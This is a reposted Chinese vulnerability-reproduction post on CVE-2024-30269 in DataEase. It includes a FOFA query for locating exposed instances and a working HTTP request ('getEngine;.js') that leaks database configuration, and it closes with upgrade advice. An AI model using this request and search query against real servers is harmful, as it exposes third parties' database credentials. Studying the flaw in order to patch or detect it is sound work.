DataEase 数据库配置信息泄露漏洞（CVE-2024-30269）POC

2024年10月10日21:16:08评论75 views字数 272阅读0分54秒阅读模式

简介

DataEase是开源的数据可视化分析工具，帮助用户快速分析数据并洞察业务趋势，从而实现业务的改进与优化。

漏洞描述

接口/de2api/engine/getEngine处存在数据库配置信息泄露漏洞。

fofa语法

body="Dataease"

漏洞影响范围

版本2.5.0之前

漏洞复现

GET /de2api/engine/getEngine;.js HTTP/1.1Host: ip

批量探测是否存在该漏洞

修复建议

更新当前系统或软件至最新版

原文始发于微信公众号（白帽攻防）：【漏洞复现】DataEase 数据库配置信息泄露漏洞（CVE-2024-30269）

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

Argo Events权限管理不当漏洞

本文由 admin 发表于 2024年10月10日21:16:08
转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
DataEase 数据库配置信息泄露漏洞（CVE-2024-30269）POChttps://cn-sec.com/archives/3246474.html
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.